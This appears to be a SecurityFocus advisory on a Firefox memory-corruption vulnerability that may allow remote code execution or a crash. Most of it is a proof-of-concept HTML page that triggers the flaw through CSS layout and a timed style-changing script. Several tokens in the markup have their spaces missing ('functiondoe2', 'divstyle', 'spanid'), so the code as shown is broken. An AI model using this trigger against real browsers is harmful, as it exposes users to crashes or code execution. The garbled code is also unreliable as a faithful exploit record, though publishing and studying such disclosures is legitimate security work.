source: https://www.securityfocus.com/bid/36866/info
Mozilla Firefox is prone to a remote memory-corruption vulnerability.
Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.
NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities), but has been assigned its own record to better document it.
<html><head><script>functiondoe2(i){ document.getElementById('a').setAttribute('style','display: -moz-box; '); document.getElementById('c').style.display='none';}setTimeout(doe2,500,0);</script><style>div::first-letter{float: right;}</style></head><body><divstyle="width: 50px;-moz-column-count: 2;"> a <spanstyle="display: table-cell;"></span><divstyle="display: -moz-box;font-size: 43px;"><spanid="a"><spanstyle="display: -moz-box;"><spanid="c">m</span></span></span></div></div></body></html>
